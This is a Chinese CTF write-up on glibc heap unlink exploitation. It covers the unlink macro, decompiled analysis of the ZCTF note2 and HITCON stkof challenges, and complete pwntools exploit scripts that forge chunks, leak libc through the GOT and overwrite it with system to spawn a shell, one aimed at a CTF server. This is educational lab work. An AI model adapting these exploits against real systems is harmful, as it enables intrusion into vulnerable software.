Unlink源码
/* Take a chunk off a bin list. Unlink操作 They are all free chunk*/
/*
1:检查两个记录chunk p size的字段是否相等
2:检查fd,bk是否回指chunk p
3:进行unlink
4:如果size属于smallbins范围内则结束该函数
*/
/* Take a chunk off a bin list av==arena P==目标 FD==下一个 BK==前一个*/
#define unlink(AV, P, BK, FD) { \
/*由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。*/
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
/*获取寻找其他两个chunk*/
FD = P->fd; \
BK = P->bk; \
/*检查:要求fd->bk=p,以及bk->fd=p,两边指中间*/
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
所以对于一般情况下的unlink如果我们能找到一个地方(ptr)指向p,并将p->fd = ptr-12 p->bk = ptr-8(32位),那么我们unlink的过程如下:
由于后进行BK->fd = FD;,所以最后:ptr->p == ptr,即最终p指向了:
所以在64位下ptr->p会指向ptr
2016 ZCTF note2
checksec
matrix@ubuntu:~/PWN/BUU$ checksec note2
[*] '/home/matrix/PWN/BUU/note2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
PIE关闭
IDA
菜单功能:
- add:常规创建一个不大于0x80的chunk 其指针放在bss段,记录当时的输入size也保存在bss段
- 读入数据时会排除%符号
- 存在无限读取漏洞
- show:常规输出bss指针所指向的内容
- edit:先执行一次malloc(0xa0)来printf(tmp_chunk) 输出提示信息
- 选择overwrite或者append但是不会超过所记录的size,并且读取后也会排除%
- 之后直接free(tmp_chunk) 但其大小是0xa0
- delete:bss_ptr_chunk置零 bss_size置零
add无限读取
a2:unsigned int
unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
char v4; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]
v4 = a3;
for ( i = 0LL; a2 - 1 > i; ++i ) // 读取a2-1次
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 ) // 判断\n
break;
*(_BYTE *)(i + a1) = buf;
}
*(_BYTE *)(a1 + i) = 0; // 最后截断
return i;
}
我们传进来的a2是unsigned int类型那么,a2-1根据类型转换,低精度转向高精度(unsigned int能表示的数更大)所以,a2-1的类型是unsigned int,那么如果我们的a2==0
则a2-1==-1 ====> 0xfffffff(unsigned int) 所以这个时候就可以无限循环读取。真滴膜拜那些大佬~
所以我们只要add(0) 会分配一个chunk(0x20) 而我们随时可以用edit输入任意数量的字符串,达到覆盖的目的,而在堆中覆盖就是个爸爸
数据分布:
edit
strcpy(&dest, chunk_addr);
v0 = (char *)malloc(0xA0uLL);
tmp_chunk = v0;
*(_QWORD *)v0 = 'oCweNehT';
*((_QWORD *)v0 + 1) = ':stnetn';
printf(tmp_chunk); // fmtstr
read_buf((__int64)(tmp_chunk + 15), 0x90LL, 10);
fugai(tmp_chunk + 15);
v1 = tmp_chunk;
v1[chunk_size - strlen(&dest) + 14] = 0;// 保证不会溢出
strncat(&dest, tmp_chunk + 15, 0xFFFFFFFFFFFFFFFFLL);
strcpy(chunk_addr, &dest);
free(tmp_chunk);
puts("Edit note success!");
}
在分析这里的实现原理花了太长的时间了,虽然搞懂了,我还一直关注那个printf(tmp_chunk)fmtstr漏洞我以为这里会是突破口,但也不是不可能吧只是本人太菜了
或也许真的没必要。
思路
思路是人家的~,我能提取到的主要是这个:在这里bss段放的是chunk指针,而程序bss地址固定,就相当于我们有一个二级指针最终指向chunk p 这正好就是我们在unlink利用上的那个条件,所以最终如果实现
利用我们可以让这个二级指针指向自己地址-0x18,通过edit和show功能我们就可以修改bss段上的指针信息,实现任意地址读与写,任意地址的读写应该就是堆题里面的大爷了(doge)**
~思路
- 构造三个 chunk,malloc(0x80)、malloc(0)和 malloc(0x80)
- chunk0要进行Fakechunk构造来准备unlink,因为咱们改不了他的size字段
- Fake_chunk的head组成为:p64(unkown) + p64(0x91)
- 释放malloc(0),再malloc(0)这样后面放的是malloc(0x80),就可以覆盖了
- 释放chunk2,在修改后的prev_size和size字段的加持下,会与Fakechunk合并,使得Fakechunk发生unlink
数据分布:
malloc(0x80)、malloc(0)和 malloc(0x80)
覆盖操作:
# edit the chunk1 to overwrite the chunk2
delete(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
数据分布:
这时free掉chunk2就会根据prev_size和size追踪到Fake_chunk来进行合并操作,而引发Fakechunk的unlink。
最终使得:
.bss:0000000000602120 bss_ptr_chunk dq ?
指向0000000000602120 -0x18.然后我们edit chunk0的时候就是在0000000000602120 -0x18上面写数据了
我们可以再次覆盖bss_ptr_chunk为got地址,然后用show泄露地址,计算出system地址后再用edit向该got地址覆盖为system,像这么友好的got不用我说你也应该知道(atoi)
EXP
#+++++++++++++++++++note2.py++++++++++++++++++++
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: Sat Oct 17 21:27:05 CST 2020
#+++++++++++++++++++note2.py++++++++++++++++++++
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'
def newnote(length,cont):
sh.sendlineafter('option--->>\n','1')
sh.sendlineafter('(less than 128)\n',str(length))
sh.sendlineafter('Input the note content:\n',str(cont))
def show(id):
sh.sendlineafter('option--->>\n','2')
sh.sendlineafter('Input the id of the note:\n',str(id))
def edit(id,choice,cont):
sh.sendlineafter('option--->>\n','3')
sh.sendlineafter('Input the id of the note:\n',str(id))
sh.sendlineafter('[1.overwrite/2.append]\n',str(choice))
sh.sendlineafter('TheNewContents:',str(cont))
def delete(id):
sh.sendlineafter('option--->>\n','4')
sh.sendlineafter('Input the id of the note:\n',str(id))
elf = ELF('./note2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc=ELF('/lib/i386-linux-gnu/libc.so.6')
sh = process('./note2')
#sh = remote('ip',port)
sh.sendlineafter('Input your name:\n','test')
sh.sendlineafter('Input your address:\n','test')
# chunk0: a fake chunk
ptr = 0x0000000000602120 #bss_ptr_chunk
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 0x40 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)
# edit the chunk1 to overwrite the chunk2
delete(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
delete(2)
# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = elf.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
edit(0,1,content)
show(0)
sh.recvuntil('is ')
atoi_addr = sh.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)
# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest
print 'leak system addr: ', hex(system_addr)
# overwrite the atoi got with systemaddr
content = p64(system_addr)
edit(0, 1, content)
# get shell
sh.recvuntil('option--->>')
sh.sendline('/bin/sh')
sh.interactive()
2014 HITCON stkof
checksec
matrix@ubuntu:~/PWN/how2heap/wiki_heap/unlink$ checksec stkof
[*] '/home/matrix/PWN/how2heap/wiki_heap/unlink/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
PIE保护关闭
IDA
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int choice; // eax
signed int v5; // [rsp+Ch] [rbp-74h]
char nptr; // [rsp+10h] [rbp-70h]
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
while ( fgets(&nptr, 10, stdin) )
{
choice = atoi(&nptr);
if ( choice == 2 )
{
v5 = edit(); // size无限制
goto LABEL_14;
}
if ( choice > 2 )
{
if ( choice == 3 )
{
v5 = delete(); // 指针置零
goto LABEL_14;
}
if ( choice == 4 )
{
v5 = unkwon();
goto LABEL_14;
}
}
else if ( choice == 1 )
{
v5 = add(); // malloc(size),该指针放在bss段上
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}
这里没有像其他菜单题一样选项提示明显,但还是一个菜单题
- choice1:add malloc(size) 并将指针记录在bss段上
- choice2:对某个chunk内容改写,但是size是无限制的,存在堆溢出漏洞
- choice3:free某个chunk并且将bss的对应记录清除
这里注意:执行fgets函数,以及add中的printf都会默认调用malloc来分配一块内存作为缓冲区,像这样的搅屎棍最好提前给他们分配好
思路
由于bss段存放chunk指针,程序存在堆溢出漏洞我们可以使用unlink来使得chunk指针指向自己的bss段,从而用edit修改bss段数据(chunk指针)实现任意地址读写
EXP
#+++++++++++++++++++stkof.py++++++++++++++++++++
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: Sun Oct 18 10:52:12 CST 2020
#+++++++++++++++++++stkof.py++++++++++++++++++++
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./stkof')
#libc = ELF('')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc=ELF('/lib/i386-linux-gnu/libc.so.6')
def add(size):
sh.sendline('1') #choice 1
sh.sendline(str(size))
def edit(index,new_size,cont):
sh.sendline('2') #choice 2
sh.sendline(str(index))
sh.sendline(str(new_size))
sh.sendline(str(cont))
def delete(index):
sh.sendline('3')
sh.sendline(str(index))
sh = process('./stkof')
sh = remote('node3.buuoj.cn',27508)
#for cache
add(0)
#chunk2 chunk3 chunk4
add(0x80)
add(0x80)
add(0) #prevent consolidate
bss_ptr_chunk = 0x602150
fake_head = p64(0) + p64(0x81)
fake_fd = p64(bss_ptr_chunk - 0x18)
fake_bk = p64(bss_ptr_chunk - 0x10)
fake_chunk = fake_head + fake_fd + fake_bk
padding = 'A'*(0x80-0x20)
padding += p64(0x80) #chunk3_prev_size
padding += p64(0x90) #chunk3_size
content = fake_chunk + padding
edit(2,len(content)+1,content)
#gdb.attach(sh)
delete(3)
#gdb.attach(sh)
content = 'A'*0x10
content += p64(elf.got['free'])
content += p64(elf.got['atoi'])*2
edit(2,len(content)+1,content)
#gdb.attach(sh,'b*0x0400A72')
edit(1,8,p64(elf.plt['printf']))
#gdb.attach(sh)
delete(2)
sh.recvuntil('FAIL\n')
atoi_addr = u64(sh.recv(6) + '\x00'*2)
print "atoi_addr ====>" + str(hex(atoi_addr))
libc_L = LibcSearcher('atoi',atoi_addr)
libc_L_addr = atoi_addr - libc_L.dump('atoi')
system_L_addr = libc_L_addr + libc_L.dump('system')
libc_addr = atoi_addr - libc.symbols['atoi']
system_addr = libc_addr + libc.symbols['system']
print "system_addr =====>" + str(hex(system_addr))
#gdb.attach(sh)
edit(3,8,p64(system_L_addr))
sh.interactive()
总结
在unlink利用这里主要学到的是针对bss上存放指针的情况,然后就是 做堆题得有大局观,要留意高危漏洞像这里的无限读取